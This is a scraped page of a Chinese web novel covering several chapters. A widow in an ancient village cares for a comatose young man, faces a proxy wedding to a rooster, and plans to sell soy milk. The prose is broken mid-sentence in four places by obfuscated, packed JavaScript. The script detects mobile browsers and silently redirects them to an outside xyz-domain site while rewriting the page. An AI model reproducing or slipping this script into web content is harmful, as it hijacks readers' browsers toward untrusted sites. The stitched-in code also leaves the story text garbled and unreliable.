何老婆子在屋中窗下做着绣活,又听到了别的声响,就往外瞅了一眼。见苏氏在捯饬竹笋,似乎已经习惯了她的折腾,遂又收回了视线。 陆鸢把竹笋外边硬壳都给剥去了,只留里边青黄色的笋肉。 她一共挖了三根竹笋回来,每一根都差不多有十斤重。 家里只有两个簸箕,一时晒不了太多,她便只清理了一根笋。 清理下来,一根笋的笋肉只有三四斤重。 剥好的笋,就开始切成一条条。待煮开水后就倒进去焯水。 也不知道要焯多久,就凭着感觉来。 她担心焯水后,苦涩味依旧重,所以在捞出来后,又用凉水盆里浸泡一晚上,打算明日再晾晒。 弄好竹笋,骨汤也已经熬了许久,她打开盖子,看到翻滚的清汤上飘浮的骨油,就用勺子舀到碗中盛了起来,用来炖菘菜。 第一遍的骨汤,很难熬出奶白色,直到第二遍或是第三遍,才易熬出奶白色。 所以熬粥前,得把骨头捞了起来,明日再接着熬汤。 另外多盛了一碗汤出来,留着熬米汤。最后剩下的汤水,径自把淘好的小半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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再喝一口带着肉香味的粥,她才觉得这六天下来,终于活得像个人了。 何老婆子也在尝试过后,难得夸赞道:“厨艺不错。” 两个孩子一句话也不说,只埋头喝粥。 陆鸢给她们各夹了几根菘菜。 春花抬起头,眼睛亮闪闪地看着她娘:“娘,这粥好好喝呀。” 秋花不会说句子,抬起头,也囫囵不清的说:“娘,好。” 陆鸢也吃得满足了,是以对她们笑了笑,叮嘱道:“慢点喝,别给呛着了。” 暮食过后,便开始洗漱。 陆鸢今日走了许久的路,腿脚透着隐隐酸痛。 家里的盆呀,桶呀,都是用来洗衣洗澡或是打水用的,不便泡脚,她便用布巾湿了热水,然后再敷到小腿肚上,反复几遍,以此舒缓疲惫。 * 入了夜,何老婆子点了油灯,到孙子的屋子说话。 “晟哥儿,你那未过门的媳妇原来也是个风风火火的性子,说到什么就去做,半点都不含糊。” “前日做竹床,且说要开垦菜地,今日还与我说,她要做豆乳饮子到市集上摆摊卖。” “你说这么一个巧慧能干的,怎会把日子过得这么差?” “而且,祖母发现,自个好似被她牵着走了。祖母是多小气的一个人,可地里那几棵菘菜,我愣是同意她全摘了” 祁晟听着祖母的话,对苏氏的好奇又多了几分。 根据祖母的话,不难听出苏氏不仅干活利落,还是个能说会道的。 可就如同祖母说的,就这么一个利落且能说会道的,怎会让婆家欺辱至背井离乡? 何老婆子又絮絮叨叨的说了好多话,把这两日的事都说完了,才止住了话头。 她坐在床边上,安静且眷恋地望着孙儿。 半晌后,抬起手轻抚了抚孙儿的脸颊:“晟哥儿,你到底何时能醒呀?祖母想你了。” 原本存了死志的祁晟,在听见祖母的话后,心底油然升起了浓浓的愧疚。 祖母已近六十岁高龄,却一二再白发人送黑发人,如今只剩下他一个亲人,也要眼睁睁看着亲孙子的生命慢慢流逝,却也无能为力。 是他不孝。 若真有个曾孙陪着祖母,或许祖母便不会孤单了。 只是他不愿。 祖母或有了慰藉,但同时也会苦了另一个女子。 这年头生活不易,寡母带着两个年幼孩子便已经够苦的了,再多了一个孩子和一个老人需得赡养,压力实在太大了。 还不如寻个年纪大些的鳏夫嫁了,有人帮衬着,也总好跟了他这个什么都帮衬不了,还需得人照顾的活死人要来得强。 12. 第 12 章 翌日天蒙蒙亮,陆鸢就起来了。 许是昨日吃了顿好的,今日只觉得浑身都是劲。 出了屋子,洗漱后,便去准备做早饭。 先前陆鸢一直觉着古代农户没有一日三餐,只有一日两顿。 但等她自己切身感受后,才知道早不吃早饭,上午干活没劲。 中午不吃,下午干活也没劲。晚上不吃,饿得压根就睡不着。 一日三餐,一餐都不能少。 吃了早饭,她便去河边洗衣服。 黄兰紧随其后,在陆鸢的身边蹲下来洗衣。 “苏妹子。” 这称呼从寡妇到苏妹子,陆鸢一下子还有点没反应过来。 只是赶过集的关系,就这么好了? 仔细想想,去的一路,再加上回来的一路上,说了一路,也确实能拉近关系。 黄兰嘴上没个把门,啥都说,陆鸢与她去赶集的一路上,都把围山村各家情况了解了四五分。 还听了不少让她一个现代人都炸裂的瓜。 有亲爹死后,儿子和后娘搭伙过上了日子,还生了个孩子,问题是后娘和亲爹还生了个儿子。 这一家子关系这么乱,平时都不知道该咋叫。 甚至其他村子,还有兄弟共妻呢。 这些事,陆鸢听得头皮发麻。 穿成即将要给活死人做媳妇的寡妇,一时也不知是倒霉,还是该庆幸。 庆幸是个寡妇,不用真的和一个陌生男人过下去。 也庆幸没穿成什么后娘,或是共妻。 虽然现状也好不到哪去,但最起码植物人伤害不到她。 黄兰:“妹子,我昨天回去后,听我婆母说,你家老太太正在问谁家有没阉过的大公鸡呢,而且鸡冠还得漂亮的大公鸡。” 听到黄兰的话,陆鸢手里的洗衣棒险些没拿稳。 黄兰追问:“你家老太太要大公鸡干嘛?” 当然要找大公鸡代替祁晟和她拜堂! 何老婆子前日才提起公鸡的事,昨日就去寻了,这老太太的速度也未免忒快了些。 “我也不清楚,她没与我说。”只要和黄兰说了,估摸着下午全村人都该知道了。 这时,一道声音从石头后边传来:“怕不是用大公鸡代替祁晟与你拜堂吧?” 黄兰一愣,一瞬间就联想到了大公鸡的用处。 两个人都从大石头探出头,往另一边望了过去。 另一头是个挽了妇人发髻的年轻妇人。妇人肤色麦色,模样清秀。 见她们望过来,然后仔细打量了一眼陆鸢,随即轻笑了一下。 陆鸢:…… 别以为不说话她就看不明白,那笑容分明带着得意,一种容貌上赢过她的得意。 黄兰把陆鸢拉了回来,凑到她耳边,小声道:“她叫杏娘,是隔壁村子嫁到咱们村来的,之前就喜欢祁晟,但祁家没看上她。” “你俩嘀咕什么呢,是不是在说我坏话?!” 两人一转头,对上杏娘的视线,顿时被吓了一跳。 那头的杏娘不知道啥时候趴到石头上,眯眼盯着她俩。 黄兰:“谁说你了,我俩说话,是不想让旁的人听了去,才压低了声音,就你怀疑成性,总觉得别人说你。” 杏娘似乎听到了什么好笑的话一样,嗤笑了几声:“谁不知道你黄兰碎嘴,啥都往外说,你还有想不让人知道的话?” 黄兰也不是啥好脾气的,瞪她:“是,我是碎嘴,你信不信我一会儿就去告诉别人,说你还惦记着祁晟,是以故意针对苏氏!” 已经是人妇杏娘闻言,慌了:“你、你敢乱说,我撕烂你的嘴!他一个活死人有什么值得我惦记的?!” 黄兰笑了一声:“那我就不知道了,你要是没事找事,我只能是这么认为了。” 杏娘还想再说什么,可到底是真的怕黄兰那张嘴,只得缩了回去。 黄兰小声与陆鸢道:“这话我才不敢乱说,万一夫妻俩闹到我家来,我婆母还不得拿棍子抽我。” 说着话,忽然话头一转:“不是,差点都被带偏了,你家老太太是真想让你和大公鸡拜堂?!” 陆鸢:…… 又不是她和公鸡拜堂,她激动个什么劲? “我也不清楚,老太太没与我说呀。” 黄兰也不瞧她,自说自话:“我瞧着是了,不然为啥要没阉过的,而且头顶红冠还要漂亮的?这铁定是要替新郎官与你拜堂呢!” 这天也聊不下去了,陆鸢加快洗衣,早些回去。 回了家中,才呼了一口气,看向又在做刺绣的何老婆子。 估计她还真得先与公鸡拜堂,如此才能稳住老太太。 陆鸢收回目光,继而把衣服晾了,也把昨日浸泡过的竹笋平铺在簸箕上,放在厨房顶上。 厨房偏矮,踩着杌子就能把簸箕放上去。 晒了笋子,她就戴上昨天黄兰随意编的草帽,担着锄头准备去后山坡翻地。 春花和秋花都要跟着她,她转头道:“你们跟着我去干啥?” 春花说得干劲十足:“给娘拔草!” 陆鸢看了眼她的小细胳膊,可别草没拔到,就把手给折了。 “不用你,你回去帮何奶奶喂鸡去。” 日头虽然不大,但也容易中暑。 春花不乐意,但在陆鸢板起脸后,才不情不愿地带着秋花回去。 看着俩孩子回去了,陆鸢才转身去菜地。 她长这么大,还没翻过地,所有的经验都来自原身的记忆,还有看她奶奶种菜的经验。 拔了草,又翻了半个时辰的地,累得陆鸢腰都直不起来了,脾气也上来了,气得直接把锄头扔到菜地上。 一天天干不完的活,真烦人! 真的不想干了,可她不想天天吃野菜了,她想吃寻常的瓜果蔬菜,所以还是得自己种。 陆鸢安慰自己,前期苦点累点,等手上有钱了,就能清闲了。 想通后,陆鸢又老老实实捡起锄头,继续翻地。 日头大了,她才回去,等黄昏时再去播种种子。 还没到家,就看到一个胡子花白,穿着交领中长衣衫的老叟进了祁家院子。 老叟身后跟着个十来岁的青年,青年肩上挎着一个医箱。 想来应该就是吴记医馆的吴大夫了。 陆鸢赶紧回了家。 何老婆子正好把两人带进屋去,陆鸢洗手,也擦了一把脸,就赶紧跟了进去。 * 屋中,老大夫正掀开祁晟的眼皮子,然后才开始搭脉。 全部人都屏住了呼吸,紧紧地等着。 好半晌后,老大夫拿开了手,何老婆子忙问:“吴大夫,我孙儿还有机会醒过来吗?” 老大夫问:“这些天,子孙根可还有反应?” …… 陆鸢一进来,就听到了这句话。 何老婆子有些不自在:“我一个老婆子,那好去观察这些。” 陆鸢走上前,应道:“这个得问照看的人,不过我却见他红过两回脸。” 吴大夫闻言,疑惑地看向她。 何老婆子解释:“这是给晟哥儿找的媳妇。” 吴大夫反应过来,何老婆子还真因为他的话,给他孙儿找了个媳妇,打算要个曾孙。 吴大夫看向陆鸢,问:“是在什么情况下红的脸?” 陆鸢:“一次是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478998|169989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 溺了,我第一回给他换裤子,换垫子的时候,另一次也是,不过那回不是我清理的。” 吴大夫闻言,扭头诧异地看向床上的人。 平时不脸红,而是在特殊的情况下脸红,不管是不是凑巧,都是有望苏醒的可能。 陆鸢继续引导道:“大夫,如果他留有意识,是不是代表着我们说的话,他也都能听得到?” 吴大夫点了点头:“也不是没有这个可能。” 陆鸢:“那我们经常与他说一些话,是不是也有可能把他唤醒?” 吴大夫迟疑了一下,应:“这点,老朽也不敢保证,但确实可以通过与他多说话,刺激他的求生意志。” 何老婆子闻言,眼底浮现了希望。 陆鸢又问:“大夫,我怕祁晟躺太久,手臂和腿脚上的肉会萎缩了,有没有什么法子,能让减缓萎缩吗?” 吴大夫:“每天给他捏捏手臂和腿脚,隔三岔五用热毛巾多敷一敷。” 有了吴大夫的话,陆鸢也有了能名正言顺出入祁晟屋子的理由。 如此也就能在单独相处时,随机应变的想一些法子来刺激他。 看过病患后,吴大夫没有开药,而是让何老婆子再用少许参须煮点参汤给祁晟喝。 还得继续用人参,也不怪何老婆子把家当全变卖了。 吴大夫走时,陆鸢看见何老婆子给了两小串铜板药童。 那铜板应该就是她昨天串好的那些。 两串铜板便是二十文,这出诊费用还真不低。 何老婆子把人送走后,就进屋子与孙儿说话了,许久才从屋子出来。 等她出来,陆鸢道:“以后我每日都去给祁晟按一按。” 何老婆子兴致不高,只点了点头,转身回了屋。 * 吃着中食,陆鸢与何老婆子说:“天这么热,要不把祁晟的头发剪短了?” 何老婆子立马就黑了脸:“身体发肤,岂能说剪就剪的?!” 何老婆子黑脸,两个孩子被吓得缩了缩脖子。 陆鸢却不怕,继续道:“可天这么热,总闷着脑袋,祁晟也会热。而且洗了也难干,长期容易长虱子。” “头发可以再长,也总好过躺着的人受罪。” 何老婆子神色微动,陆鸢继而道:“如今都这情况了,自然是如何舒适如何来。头发短了,我隔两三天就给他沐发,干得快,也不容易着凉,更能清清爽爽的。” 何老婆子认真琢磨起了苏氏的话。 犹豫了许久后,一咬牙,道:“总归又不出去,剪吧。” 陆鸢笑了笑,应:“那一会我去拿剪子。” 古人看重头发,平日也只做简单修剪,她给祁晟剪个板寸,也不知能不能刺激到他。 陆鸢一吃完,立马去拿了小筐里的剪子进屋。 何老婆子提醒:“你悠着点,别剪到肉了。” 她瞧着也难受,索性也不跟着进去了,眼不见为净。 陆鸢入了屋,把剪子放到祁晟耳边,一开一合,故意弄出了清脆的咔嚓声。 继而趴在祁晟耳边,阴森森的说:“我给你剪发,剪成和尚样式,你觉得如何?” 意识清醒的祁晟,听见了剪子的声音,还有那故作阴险的声音。 虽不解她为何要弄出声响,还用这种古怪的声音,语气与他说话,但他听着,也不觉得难受。 他如今都这样了,且身子都被她一个妇人不遗巨细地瞧完了,岂还会在意头发? 再者,剪了也正好,日日痒得难受,想是许久才沐发一次所致。 有时痒得难受,他都怀疑是不是长了虱子。 如今若是剃成了光头,也正好合了他的心意。 13. 第十三章 陆鸢挽起祁晟的长发就修剪了起来。 一剪刀下去就是一长撮,榻上的人依旧是没有任何的反应。 陆鸢轻叹了一声,随即似与他闲聊一般,说:“你祖母要弄一只大公鸡来与我拜堂成亲,估计也就这些天了。” “你若是不醒过来,你只能娶我这个相貌不好,且带着两个孩子的寡妇了,以后你就是醒了,也不能反悔了。” 祁晟闻言,心下惊诧了一瞬,但转念一想,这确实是他祖母能干得出来的事。 至于反悔一事,前提也得他能醒得过来。 自然,要是能醒过来,木已成舟,他自然是不能够反悔。 祁晟琢磨间,忽然感觉温热的气息再度落在耳廓上,心下微一滞。 他还从未与哪个女子这般接近过,遑论如时下这般亲昵。 又是剪发,又是凑得耳边私语。 只是接下来苏氏的话,让平静的祁晟不能再继续平静。 陆鸢转头看了眼门口和窗户的地方,又凑到他耳边,语气欠欠的道:“虽说你现在昏迷不醒,可你长得这么好看,还这么年轻,身材也还有薄肌。” 她说着,停下了剪发的动作,手放到了他的胸口上,还揉了两下:“手感可真好,与你生娃儿,好似也不赖。” 她觉得自己为了刺激祁晟,都跟个变态似的。 祁晟:…… ……?! 一股子气直冲祁晟的脑门。 这妇人! 她可知道羞耻是何物?! 不,她不知道! 若是知道的话,岂会在给他擦洗的时候,那么镇定自若地提起他那地方擦洗。 陆鸢观察着,见祁晟的脸色隐约泛红,便知自己是刺激到了。 她不由地勾起唇角笑了笑。 刺激得差不多了,她把手挪开,继续剪没剪好的头发。 剪好了之后,她站起走到正面打量。 祁晟五官深邃,眉骨如山脊,浓眉斜飞入鬓,因着长发弱化了棱角,所以头发短了之后,反倒多了几分硬朗。 现在瞧着,像是一个英俊的硬汉了。 陆鸢欣赏了一会儿自己的杰作后,就去端水给他洗头。 陆鸢端来了一盆温水,在弄湿了他的头发后,再拿起皂角沾水揉搓出泡沫放到他的头上。 陆鸢学着美发店洗头的手法给祁晟洗头,卸了力道的手指不停地挠着他的头皮。 祁晟本有股子气在头上,但随着苏氏给他沐发,挠头,竟让他一时不知先该气,还是该享受。 瘙痒的头皮得到了纾解,也按松了头皮,他一边气闷,一边又觉得浑身舒适。 洗了头后,苏氏又开始给他揉按拉伸手脚,舒适的同时,祁晟也感觉到了疑惑。 她这熟练得好像不像是随便乱按的,明显是有手法的。 是她以前家中有人瘫痪或是卧床不起吗? 可不得不说,这是祁晟躺的两个月以来,身体感到最为舒适的一天。 只是,若苏氏能有些许羞耻心便更好了。 陆鸢给祁晟舒展了手脚一刻左右,便罢了。 今日耕地太累了,也就先这样吧。 陆鸢端着水从屋中出来,恰巧李老汉也过来了。 她说:“我去烧些热水,李叔你今日就给祁晟洗个澡吧。” 李老汉点了点头。 陆鸢想了想,又小声道:“今日大夫过来出诊,特别交代了,这洗澡的时候莫要出声。” 李老汉古怪道:“为何?” 陆鸢表情认真的扯着谎:“我也不知,大夫这么交代定然有他的道理。” 李老汉平日里也不是话多的人,更何况给祁晟擦洗的时候,也没个人说话,偶尔念叨几句,也只是小声在嘴边过一遍。 “行吧,既然是大夫交代的,那照做就是了。” 锅里温着水,陆鸢盛起来又端进了屋中。 李老汉这会去上茅房了,陆鸢故意又在祁晟耳边说道:“今日我要给你搓澡,我会仔仔细细的,不放过任何一个角落,一定会把你搓得干干净净的。” 陆鸢知道祁晟还留有意识,停了她的话,这会心里肯定也不好受。 刺激了祁晟,陆鸢又悄无声息地出了屋子,腾地给李老汉。 等差不多两刻后,李老汉才从屋子里出来,眼神古怪地看了一会寡妇。 何老婆子问:“咋了?” 李老汉又看了眼何老婆子,问:“咋把阿晟的头发剪成了那样?” 何老婆子闻言,一愣,旋即转身就往屋子里去。 不一会,屋子里传出何老婆子恼怒的声音:“苏氏,瞧你干的好事!” 陆鸢缩了缩脖子,她剪的时候就猜到了何老婆子的反应,也在意料之中。 经过这几日的相处,她知道何老婆子也就是刀子嘴豆腐心,嘴巴上念叨几句,但实则也没怎么亏待母女三人。 正因为了解了,她也不怵何老婆子。 李老汉怕惹麻烦,听到何老婆子的怒声后,就着急忙慌地跛着脚走了。 何老婆子从屋子里出来,瞪向陆鸢:“我同意你剪,可也没让你剪这么短!” “再短点都可以出家当和尚了!” 何老婆子原本只想着剪发,好歹能留一指长,结果进去一看,只剩下一个指节那么长。 陆鸢讪讪道:“失手,失手,我也想留长些,但不知怎地越剪就越短了。” 何老婆子冷笑了一声:“我信你个屁!” 那修剪得整整齐齐的模样,可半点不像失手! * 日暮时分,陆鸢种下菜种,浇了水便回去做饭了。 今日依旧是骨汤粥,只是何老婆子开始节省了,粥里的米明显少了很多。 暮食做好了,陆鸢让春花去喊何老婆子吃饭。 何老婆子从屋子出来的时候,还瞪了一眼陆鸢。 陆鸢摸了摸鼻子,自何老婆子进屋瞧过孙子,出来后就没给她好脸色。 头发剪都已经剪了,她又不能给接回去。 而且,这样多好,没一会儿就干了。 吃了饭后,陆鸢找了何老婆子说话。 天色隐隐有些暗,何老婆子也做不了针线活了,就在编络子。 陆鸢走到跟前,她连头都没抬。 “老太太,李老汉照顾祁晟的事,先别在祁晟跟前说。” 何老婆子起初还不想搭理她,但听了她的话,不由抬眼瞧她:“为何?” 陆鸢斟酌着问:“祁晟是不是……还没有过女人?” 何老婆子轻哼了一声: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478999|169989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “晟哥儿洁身自好,没成亲前,自然不会与旁的女子有所牵扯。” 原来真的是童男,也难怪会脸红了。 陆鸢道:“我第一回给祁晟擦洗的时候,我发现他红了脸。第二回李老汉给他擦洗的时候,李老汉也没怎么说话,我觉着他有可能误以为是我,所以又红了脸。” “等等。”何老婆子忽然喊了停,不确定道:“你的意思是,我家晟哥儿真的是有意识的?” 陆鸢点头,继而道:“今日李老汉给祁晟擦澡,我特意嘱咐了不要出声,等洗完之后,我进去瞧了,祁晟的脸依旧是红的。” 不仅脸红,身上的皮肤都被搓红了,可想而知搓澡师傅李老汉的活干得有多认真,多仔细。 听苏氏这么一说,何老婆子也反应了过来,今日只顾着头发的事了,一下子没反应过来孙儿的脸色。 比起以往,确实红润了很多。 陆鸢:“大夫这不是让我们多刺激刺激他,说不定就能刺激醒了。” 何老婆子心下思索了一圈,看向她:“你想咋刺激?” 陆鸢:“老太太平日里多与他说说以前的事,也多说说一个老婆子生活多么的不容易,没准他一着急就醒了。” 何老婆子也认真琢磨了苏氏的话。 说到这里,陆鸢瞧了眼何老婆子思索的神色,便把重点挑出来,委婉的说:“老太太你瞧,祁晟还是有机会醒过来的,我与他成亲的事,要不还是先缓缓吧?” “不然等他醒来,发现自己与一个寡妇成了亲,他定然是接受不了了。” 何老婆子听到这话,回了神,似笑非笑地盯着她:“别是为了找借口,想拖延吧?” 陆鸢:“哪能呀,祁晟长得那等好相貌,他若能苏醒过来,我白得一个天人一样的夫君,我做梦都能笑醒。” 何老婆子:“别以为嘴甜,我就信你。我是发现了,你这张嘴它不大老实。” 陆鸢:…… 老太太这个人精。 何老婆子继而道:“圆房可以等,等你身体调理好,可以受孕时再圆,但必须得成亲。” “我已经找里长看过日子了,就半个月后的初八,那天是个好日子,到那时你就先和公鸡拜堂,说不准不用怎么刺激,冲喜也能把晟哥儿冲喜。” 陆鸢一默。 该说不说,就算到时候能醒,也不是冲喜冲醒的,而是被刺激醒的。 何老婆子上下打量了她一眼,说:“以后每天都煮五两米,吃完了五斤米,我继续去买。” 何老婆子忽然改了主意,同意去买米了,可她瞧着自己的眼神,陆鸢却笑不出来。 何老婆子继续道:“你每日都得吃一个鸡蛋,好好补补身体。” 何老婆子囤着的鸡蛋,本想在昨天苏氏去赶集的时候,让她拿去卖了,但琢磨过后还是决定留下来给苏氏养身体。 “另外,我会扯布给你做一身新衣裳,拜堂成亲的时候穿上,别弄得太寒酸。” 陆鸢一下子就说不出话了。 她是想吃好穿好,可却不是以这种方式改善生活。 算了,拜堂就拜堂,说不定还真能借着这件事把祁晟给刺激醒了。 而且就算拜了堂,之后还留有一个月的时间,眼下寄人篱下,只得先行妥协,走一步再算一步。 14.第 14 章 晚间听了何老婆子的话,陆鸢睡不着了。 整宿都在想着和大公鸡拜堂,还有和祁晟之后的事。 睡不着也难受,就控制住自己不去想,转而逼迫自己去想自己豆浆的买卖大计。 晨间起来时,因挂念着豆浆的事,一早就挑了豆子,接着就拿了水桶和背篓一块出门。 何老婆子问她:“去哪?” 陆鸢:“我去山脚下打点山泉水回来泡豆子。” 何老婆子纳闷道:“这河里都有水,你去打什么山泉水?” 陆鸢解释道:“山泉水清冽甘甜,用泉水做豆乳,豆乳的口感会更好。” 何老婆子琢磨了一下,说:“也就你爱折腾,别人家做豆乳难不成都是用的山泉水?” 陆鸢应道:“别人不用,我用,肯定比他们做得更好喝。” 何老婆子笑了一声:“那行,我就等着尝尝比别家做得更好喝的豆乳。” 陆鸢背着背篓就出了院子,往先前第一回进山的方向而去。 她没敢进山,只得在山外围挖了一些野菜,然后去打水。 山泉的地方,离家有两三里地,水提着也累,所以她打算背着回去,顺道尝试一下去赶集的时候,是否能背得这么远。 事实证明,她就背了两三里地,肩膀就咯得酸痛了。 这肯定不行。不能为了挣钱,把自己半条命都折了。 回到家里,陆鸢缓了好一会,才开始清洗豆子,然后用泉水浸泡。 夏秋两季天气炎热,只需要泡三四个时辰,冬季则要泡四五个时辰。 这豆子等泡到傍晚,就可以去磨了,等第二日起来再煮好弄到镇上就行了。 现在问题最难的,就在最后一个过程。 她该怎么运到镇上去。 泡了豆子,陆鸢问:“老太太,咱们村谁家有牛车呀?” 何老婆子头都没抬,应:“里长家。” “那赶集日会驱赶牛车去镇上吗?会载客吗?” 何老婆子似乎知道她想的是什么,一次性说道:“一个人来回一趟都只要一文钱,带东西占了位置的就多收一文,辰时去,午时正归。” 陆鸢算了一下,是四个小时,时间还是很充裕的。 陆鸢心里有了计算,随即又问旁的。 “老太太,精米都是去哪磨的?” 何老婆子知道她是想去磨豆子,这想到精米也还没磨,就放下了手里的活计,道:“里长家有石磨,晌午吃完中食后,我领你过去打声招呼,顺道把精米磨了。” 这里长家还怪富裕的,竟然啥都有。 何老婆子也把精米泡了水,泡一个时辰就成。 * 陆鸢做中食时,何老婆子从屋里拿了一个鸡蛋,给到她手里。 陆鸢想起了昨日何老婆子与自己说的话。 一个小鸡蛋,却让陆鸢倍感压力。 何老婆子的行为就好像,就好似是把鸡喂养得白白胖胖的,然后再宰杀上桌。 陆鸢觉得自己就是那只待宰的鸡。 虽有压力,但该吃还是得吃的。 一只小鸡蛋,打了蛋花汤,每个人都能喝上一点。 就是看到蛋花汤的时候,何老婆子不大高兴的念道:“一个鸡蛋且不够塞牙缝的,你还弄了一盆水,还能补什么身子?” 陆鸢看了眼七分满的一碗汤鸡蛋汤,她寻思着怎样都够不上一盆。 “都是吃进嘴里的,自然能补。” 说着,她往两个孩子的碗里都舀一勺,往何老婆子碗里舀去的时候,她直接遮住了碗口:“我喝不下,气都给气饱了。” 行吧。 陆鸢又多分了两个孩子一点。 她琢磨着能明日做豆浆去卖,挣了银子后,就弄几两肉解解馋,也不至于一家老小半点油水都没有,就一个鸡蛋都吃得紧巴巴的。 吃过了饭,让两个孩子待在家里,关上院门后,陆鸢就跟着何老婆子出了门。 在村子里走了约莫一刻,才到了一家青砖黑瓦的宅子。 白日里,村子里的院门都是不关的,是以何老婆子在门外喊了一声,听到有人应才带着陆鸢进院子。 从屋子里边走出一个四十来岁的圆润妇人,看到是何老婆子和身后的妇人,讶异道:“老太太,有事?” 何老婆子道:“我来磨点精米,顺道带苏氏来串串门,她想弄点豆乳到镇上卖,所以下午也会过来用一用石磨。” 妇人应道:“用吧,就在院子里头。” 何老婆子转头和陆鸢说:“这是里长娘子。” 陆鸢唤了声:“里长娘子。” 里长娘子笑道:“喊什么里长娘子,喊婶子就好。” 陆鸢没真喊婶子,她又不是没眼色,这没半点亲戚关系,真喊了婶子,对方也有可能不乐意。 何老婆子端着泡好的精米走到了石磨旁。 石磨不是很大,约莫一个水盆那么大,一个人也可以使用。 何老婆子冲洗了一下石磨,然后把泡过的精米放到了石磨上方的小洞里,看向苏氏:“动呀。” 陆鸢:…… 合着是叫她来干活的。 她新奇地开始推动石磨,虽然有些许沉重,但也不怎么吃力。 一斤的精米,磨了三四遍,虽然还有些粗糙,但煮久了,也就软烂了。 陆鸢也算是掌握了石磨的用法。 从里长家回去后,陆鸢便去给祁晟做手脚做拉伸推拿。 她边推拿,边与他唠嗑:“我准备做豆乳去镇上卖,你说我这买卖能挣吗?” 过了一会,又自说自话的道:“应该是能挣的,毕竟镇上那一家豆乳不怎么好喝,也有很多人去买,我不信我会做得比他家差。” “就是这回豆子买少了,只有两斤。我算了算,一斤黄豆能出二十碗浓度中等的豆乳,两斤就是四十碗,但肯定有损耗,那就算是三十五碗。” “一碗一文,就是三十五文,可豆子要成本,摆摊也要两文钱,以及牛车费用,这么算下来,也是能挣二十文钱的。” “要是全卖了出去,我就多卖两斤豆子,等下回赶集日再拿去卖。” 陆鸢絮絮叨叨了好一会,也没注意到门口的何老婆子望了她好一会才走的。 陆鸢按累了,也就转身出了屋子。 等到下午申时正,她便拿着泡了四个时辰的豆子去了里长家。 里长家里随时都有人,倒也不用担心没人在家。 里长娘子见何老婆子这回没跟来,就与苏氏唠嗑了起来。 里长娘子问:“你是哪的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485380|169989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人?” 陆鸢有苏氏的记忆,倒也不慌,应:“我是矩州人,矩州干旱了三年,便逃荒到了岭南。” 里长娘子道:“我确实听说矩州干旱了好几年,庄稼都种不活了,要是再不下雨,估计也有大批流民逃荒了,到时候流离失所,也不知道死多少人。” 说到后头,里长娘子也叹了一声,接着又问:“你前头男人咋没得?” 陆鸢毕竟还在用着别人家的石磨,只得回应:“两个村子抢水源,被人打了脑袋一棍,人就没了。” 里长娘子眼里多了一抹同情。 前头丈夫没了,现在又得加一个半死不活的。 运气好的话,祁晟能醒过来,顶梁柱又回来了。运气不好的话,又成了寡妇,说不准还得背上克夫的名声。 里长娘子是个心软的,琢磨来琢磨去,还是忍不住道:“你虽说样貌寻常,但也还是能再找一个正常些的男子,何必嫁给祁晟。” 里长娘子也想祁晟醒过来,但醒不了又能咋办? 陆鸢也感觉到了里长娘子的善意,她摇了摇头:“老太太应承了,以后会把两个闺女当成侄孙女一样对待。” 何老婆子明确说过,若说当成亲孙女,说出来旁人不信,她自己的也不信,是以当成亲戚,还有些说服力。 “我若是改嫁旁人,也不知如何待两个闺女。” 苏氏在逃荒的时候,被晒得皮肤黢黑粗糙,还饿得皮包骨,就现在的样貌,只能找年纪大的鳏夫,或是身有残疾之人。 苏氏也很明白这些人都不是良配,所以才会同意了何老婆子的要求。 好歹有个栖身之所,还不用被虐待,苛刻。 里长娘子叹了一声,说:“也是,为人母亲,总是会先为孩子考虑,然后才是自己。” 说到这,对苏氏的印象也好了几分。 能为孩子考虑到这个地步的,人应该也不坏。 陆鸢要走的时候,里长娘子拿了七八个有半个拳头大的芋头过来,放到她的篮子里。 “祁家现在的情况,我们也帮不了什么忙,这些个芋头,拿回去吃吧。” 陆鸢没有拒绝里长娘子的好意,感激道:“谢谢里长娘子。” 里长娘子:“回吧。” …… 陆鸢回到家中,老太太看到了她篮子里的芋头,问:“里长娘子给的?” 陆鸢点了点头,想了想,说:“等明天早间煮好了豆乳,老太太你能不能帮我送一些去里长家,当作还礼?” 何老婆子也不是自私的,应:“成,是该还点东西回去。” 陆鸢放下东西后,发现煮豆浆的泉水不够,又去背了半桶泉水回来。 她从老太太那处要了一块干净的麻布,等明日用来过滤豆渣子。她也开了一个挂在屋檐下的瓜瓢,挖了瓜瓤,洗干净用来盛豆浆。 